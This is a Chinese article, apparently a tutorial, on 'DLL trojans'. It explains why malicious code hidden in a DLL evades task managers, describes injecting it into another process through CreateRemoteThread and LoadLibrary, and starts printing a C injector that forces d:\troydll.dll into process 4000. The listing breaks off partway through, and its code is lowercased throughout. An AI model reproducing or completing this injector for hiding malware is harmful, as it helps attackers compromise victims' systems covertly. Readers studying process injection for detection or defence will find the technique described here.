dll在程序编制中可作出巨大贡献，它提供了具共性代码的复用能力。但是，正如一门高深的武学，若被掌握在正义之侠的手上，便可助其仗义江湖；但若被掌握在邪恶之徒的手上，则必然在江湖上掀起腥风血雨。dll正是一种这样的武学。dll一旦染上了魔性，就不再是正常的dll程序，而是dll木马，一种恶贯满盈的病毒，令特洛伊一夜之间国破家亡。

dll木马的原理

　　dll木马的实现原理是编程者在dll中包含木马程序代码，随后在目标主机中选择特定目标进程，以某种方式强行指定该进程调用包含木马程序的dll，最终达到侵袭目标系统的目的。

　　正是dll程序自身的特点决定了以这种形式加载木马不仅可行，而且具有良好的隐藏性：

　　（1）dll程序被映射到宿主进程的地址空间中，它能够共享宿主进程的资源，并根据宿主进程在目标主机的级别非法访问相应的系统资源；

　　（2）dll程序没有独立的进程地址空间，从而可以避免在目标主机中留下"蛛丝马迹"，达到隐蔽自身的目的。

　　dll木马实现了"真隐藏"，我们在任务管理器中看不到木马"进程"，它完全溶进了系统的内核。与"真隐藏"对应的是"假隐藏"，"假隐藏"木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程，但是"假隐藏"木马本质上还具备独立的进程空间。"假隐藏"只适用于windows9x的系统，对于基于winnt的操作系统，通过服务管理器，我们可以发现系统中注册过的服务。

　　dll木马注入其它进程的方法为远程线程插入。

　　远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以dll的形式实现后，需要使用插入到目标进程中的远程线程将该木马dll插入到目标进程的地址空间，即利用该线程通过调用windows api loadlibrary函数来加载木马dll，从而实现木马对系统的侵害。

dll木马注入程序

　　这里涉及到一个非常重要的windows api――createremotethread。与之相比，我们所习惯使用的createthread api函数只能在进程自身内部产生一个新的线程，而且被创建的新线程与主线程共享地址空间和其他资源。而createremotethread则不同，它可以在另外的进程中产生线程！createremotethread有如下特点：

　　（1）createremotethread较createthread多一个参数hprocess，该参数用于指定要创建线程的远程进程，其函数原型为：

handle createremotethread(

handle hprocess, //远程进程句柄

lpsecurity_attributes lpthreadattributes,

size_t dwstacksize,

lpthread_start_routine lpstartaddress,

lpvoid lpparameter,

dword dwcreationflags,

lpdword lpthreadid

);

　　（2）线程函数的代码不能位于我们用来注入dll木马的进程所在的地址空间中。也就是说，我们不能想当然地自己写一个函数，并把这个函数作为远程线程的入口函数；

　　（3）不能把本进程的指针作为createremotethread的参数，因为本进程的内存空间与远程进程的不一样。

　　以下程序由作者shotgun的dll木马注入程序简化而得（单击此处下载，在经典书籍《windows核心编程》中我们也可以看到类似的例子），它将d盘根目录下的troydll.dll插入到id为4000的进程中：

#include <windows.h>

#include <stdlib.h>

#include <stdio.h>

void checkerror ( int, int, char *); //出错处理函数

pdword pdwthreadid;

handle hremotethread, hremoteprocess;

dword fdwcreate, dwstacksize, dwremoteprocessid;

pwstr pszlibfileremote=null;

void main(int argc,char **argv)

{

int ireturncode;

char lpdllfullpathname[max_path];

wchar pszlibfilename[max_path]={0};

dwremoteprocessid = 4000;

strcpy(lpdllfullpathname, "d:\\troydll.dll");

//将dll文件全路径的ansi码转换成unicode码

ireturncode = multibytetowidechar(cp_acp, mb_err_invalid_chars,

lpdllfullpathname, strlen(lpdllfullpathname),

pszlibfilename, max_path);

checkerror(ireturncode, 0, "multbytetowidechar");

//打开远程进程

hremoteprocess = openprocess(process_create_thread | //允许创建线程

process_vm_operation | //允许vm操作

process_vm_write, //允许vm写

false, dwremoteprocessid );

checkerror( (int) hremoteprocess, null, "remote process not exist or access denied!");

//计算dll路径名需要的内存空间

int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar);